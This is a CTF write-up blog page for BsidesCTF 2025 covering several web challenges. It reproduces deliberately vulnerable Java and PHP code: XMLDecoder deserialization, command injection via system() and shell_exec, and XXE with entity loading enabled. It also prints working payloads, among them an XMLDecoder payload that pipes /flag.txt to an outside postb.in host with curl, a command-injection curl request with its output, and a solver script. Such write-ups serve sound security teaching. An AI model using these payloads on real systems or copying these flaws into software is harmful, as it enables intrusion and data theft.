rootđź’€senseicat:~#

Hack. Eat. Sleep. Repeat!!!


Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

CTF-: BsidesCTF 2025


image


Challenges



Dating


image


package com.example.dragon;

import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

import java.beans.XMLDecoder;
import java.io.IOException;

@WebServlet("/ProfileServlet")
public class ProfileServlet extends HttpServlet {

    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        response.setContentType("text/plain");

        try {
            XMLDecoder decoder = new XMLDecoder(request.getInputStream());
            Object dragonData = decoder.readObject();
            decoder.close();

            response.getWriter().write("Profile received for: " + dragonData.toString());
        } catch (Exception e) {
            response.getWriter().write("Error processing profile: " + e.getMessage());
        }
    }
}
<java version="1.8.0" class="java.beans.XMLDecoder">
  <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
      <void index="0">
	<string>/bin/bash</string>
      </void>
      <void index="1">
	<string>-c</string>
      </void>
      <void index="2">
	      <string>cat /flag.txt | /usr/bin/curl https://www.postb.in/1745777549695-6946147335693 -d @-</string>
      </void>
    </array>
    <void method="start" id="process">
    </void>
  </void>
</java>

image

image


Detector


image


<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Dragon Detector</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
    <div class="container">
<?php
  $ip = $_REQUEST['ip'];

  echo "<h1>";
  system("bash /app/dragon-detector-ai $ip");
  echo "</h1>";

  echo '<br><a href="/">Check another IP</a>';
?>
    </div>
</body>
</html>
<?php
  $ip = $_REQUEST['ip'];

  echo "<h1>";
  system("bash /app/dragon-detector-ai $ip");
  echo "</h1>";

  echo '<br><a href="/">Check another IP</a>';
?>

image

image


Detector-2


image


<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Dragon Detector</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
    <div class="container">
<?php
  $ip = $_REQUEST['ip'];

  if (str_contains($ip, "\"")) {
      echo "<h1>🛑 Invalid IP Address!</h1>";
      echo "<p>That doesn't look like a valid IP address. Are you sure that's not a goblin lair?</p>";
      echo '<a href="/">Try again</a>';
      exit;
  }


  echo "<h1>";
  system("bash /app/dragon-detector-ai \"$ip\"");
  echo "</h1>";

  echo '<br><a href="/">Check another IP</a>';
?>
    </div>
</body>
</html>
if (str_contains($ip, "\"")) {
      echo "<h1>🛑 Invalid IP Address!</h1>";
      echo "<p>That doesn't look like a valid IP address. Are you sure that's not a goblin lair?</p>";
      echo '<a href="/">Try again</a>';
      exit;
  }

image


Evidence


image


<!DOCTYPE html>
<?php
  error_reporting(E_ALL & ~E_DEPRECATED & ~E_NOTICE);
?>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Dragon Evidence</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
    <div class="container">
        <h1>Dragon Evidence</h1>

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES['dragon_file'])) {
        $file = $_FILES['dragon_file']['tmp_name'];
        
        // We demand FREEDOM (from secure defaults)
        libxml_disable_entity_loader(false);
        $dom = new DOMDocument();
        $dom->loadXML(file_get_contents($file), LIBXML_NOENT | LIBXML_DTDLOAD);
        
        echo "<h2>Dragon Evidence Found:</h2>";
        echo "<pre>" . htmlspecialchars($dom->saveXML()) . "</pre>";
    }
} else {
?>
        <p>They said dragons were myths... but we know better.</p>
        <p class="fire">Upload your classified XML evidence to expose the truth.</p>

        <form class="dragons" method="POST" enctype="multipart/form-data">
            <input type="file" name="dragon_file" accept=".xml">
            <input type="submit" value="Submit Evidence">
        </form>
<?php
}
?>

        <footer>
            <p>🔥 The truth is out there... 🔥</p>
        </footer>
    </div>
</body>
</html>
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES['dragon_file'])) {
        $file = $_FILES['dragon_file']['tmp_name'];
        
        // We demand FREEDOM (from secure defaults)
        libxml_disable_entity_loader(false);
        $dom = new DOMDocument();
        $dom->loadXML(file_get_contents($file), LIBXML_NOENT | LIBXML_DTDLOAD);
        
        echo "<h2>Dragon Evidence Found:</h2>";
        echo "<pre>" . htmlspecialchars($dom->saveXML()) . "</pre>";
    }
libxml_disable_entity_loader(false);
$dom = new DOMDocument();
$dom->loadXML(file_get_contents($file), LIBXML_NOENT | LIBXML_DTDLOAD);

image


Hangman-one


image


image


Hoard


image


<?php
header('Content-Type: application/json');

// Ensure the request method is POST
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  $input = file_get_contents('php://input');
  $data = json_decode($input, true);

  // Validate the JSON input
  if ($data) {
    // Validate
    if(!preg_match('/[0-9]*/', $data['gold']) || !preg_match('/[0-9]*/', $data['gems']) || !preg_match('/[0-9]*/', $data['artifacts'])) {
      echo json_encode([
        "status" => "error",
        "message" => "Fire-scorched parchment detected - invalid submission"
      ]);
      exit(1);
    } else {
      if($data['hoardType'] == 'gold') {
        $valuation = $data['gold'] * 100;
      } elseif($data['hoardType'] == 'gemstone') {
        $valuation = $data['gems'] * 1000;
      } elseif($data['hoardType'] == 'artifact') {
        $valuation = shell_exec("/app/valuate-hoard '" . $data['gold'] . "' '" . $data['gems'] . "' '" . $data['artifacts'] . "'");
      } else {
        http_response_code(400);
        echo json_encode([
          "status" => "error",
          "message" => "Fire-scorched parchment detected - invalid submission"
        ]);
        exit(1);
      }

      echo json_encode([
        "status" => "success",
        "message" => "Hoard valuation logged and valued at <tt>$valuation</tt>"
      ]);
    }
  } else {
      // Handle invalid JSON input
      http_response_code(400);
      echo json_encode([
        "status" => "error",
        "message" => "Fire-scorched parchment detected - invalid submission"
      ]);
  }
} else {
  // Handle non-POST requests
  http_response_code(405); // Method Not Allowed
  echo json_encode([
    "status" => "error",
    "message" => "Only POST requests are allowed for hoard valuation"
  ]);
}
?>
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  $input = file_get_contents('php://input');
  $data = json_decode($input, true);

  // Validate the JSON input
  if ($data) {
    // Validate
    if(!preg_match('/[0-9]*/', $data['gold']) || !preg_match('/[0-9]*/', $data['gems']) || !preg_match('/[0-9]*/', $data['artifacts'])) {
      echo json_encode([
        "status" => "error",
        "message" => "Fire-scorched parchment detected - invalid submission"
      ]);
      exit(1);
shell_exec("/app/valuate-hoard '" . $data['gold'] . "' '" . $data['gems'] . "' '" . $data['artifacts'] . "'");
HP@H-DOLAPO22 MINGW64 ~/Downloads/Telegram Desktop
$ /app/valuate-hoard '$data['gold']' '$data['gems']' 'data['artifacts']'
'$(ls) #

image


┌──(root💀lulz-PhotoAuto)-[~]
└─# curl https://hoard-049015ac.challenges.bsidessf.net/backend.php -H "Content-Type: application/json" -d $'{"gold":"\';cat /flag.txt;#","gems":"1000","artifacts":"1000","hoardType":"artifact"}'
{"status":"success","message":"Hoard valuation logged and valued at <tt>Usage: \/app\/valuate-hoard num1 num2 num3\nCTF{a-dragons-hoard-is-all-he-has-dont-take-it-away}\n<\/tt>"}

SIGHTING


image


image

image


Taxonomy


image


image


Extinction


image


<?php
$correct_username = 'admin';
$correct_password = 'admin';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $encoded_creds = $_REQUEST['encoded_creds'] ?? '';

    if(str_contains($encoded_creds, 'YWRtaW46YWRtaW4')) {
      $error_message = "AHA! We are aware that that password has been leaked! CAUGHT YOU!!";
    } else {
      $decoded_creds = base64_decode($encoded_creds);
      $creds_parts = explode(':', $decoded_creds);

      if (count($creds_parts) !== 2) {
        $error_message = '⚠️ Invalid authentication runes! Dragon peril persists...';
      } else {
        $username = $creds_parts[0];
        $password = $creds_parts[1];

        if ($username === $correct_username && $password == $correct_password) {
          $flag = file_get_contents("/flag.txt");
          $success_message = "Congratulations! Your flag is <tt>$flag</tt>";
        } else {
          $error_message = '⚡ Authentication failed! Dragon extinction counter: ░░░░░░░░░░] 90%';
        }
      }
    }
}
?>

image

image


Hangman-Three


image


image

image

#! /usr/bin/env python3
import requests
import random
import string
import json

def createAccount() -> tuple:
    req = requests.Session()
    url="https://hangman-three-464d3964.challenges.bsidessf.net/"
    print("[+] Creating account")
    #registering
    username: str = ''.join(random.choices(string.ascii_lowercase,k=4))
    password: str = ''.join(random.choices(string.ascii_lowercase,k=4))
    register_data = {"username":username,"password":password,"confirm":password,"submit":"Register"}
    login_data = {"username":username,"password":password,"confirm":password,"submit":"Login"}
    req.post(url+"register",data=register_data).text
    csrf_token = req.post(url+"login",data=login_data).text.split('<input id="csrf_token" name="csrf_token" type="hidden" value="')[1].split("\">")[0]
    print(f"[+] csrf_token: {csrf_token}")
    raw_cookie=req.cookies.get_dict()
    cookie= f"access_token_cookie={raw_cookie['access_token_cookie']};session={raw_cookie['session']}"
    print(f"Cookie is {cookie}")
    return cookie,csrf_token
def send_char(cookie,csrf_token,letter) -> None:
    url="https://hangman-three-464d3964.challenges.bsidessf.net/"
    headers = {"Referer":"https://hangman-three-464d3964.challenges.bsidessf.net/home?message=Letter:e+not+present","Cookie": cookie}
    data = {"csrf_token":csrf_token,"letter":letter}
    reply = requests.post(url+"guess",data=data,headers=headers,allow_redirects=False).text
def main():
    url = "https://hangman-three-464d3964.challenges.bsidessf.net/"
    charset = string.ascii_lowercase + string.digits
    cookie,csrf_token = createAccount()
    headers = {"Cookie": cookie}
    for i in charset:
        send_char(cookie,csrf_token,i)
    flag=requests.get(url+"home",headers=headers).text.split("<strong> The flag is:")[1].split(" </strong>")[0]
    print(f"[+] Flag is {flag}")
    
if __name__ == "__main__":
   main()

image


Thanks for Reading


Reference: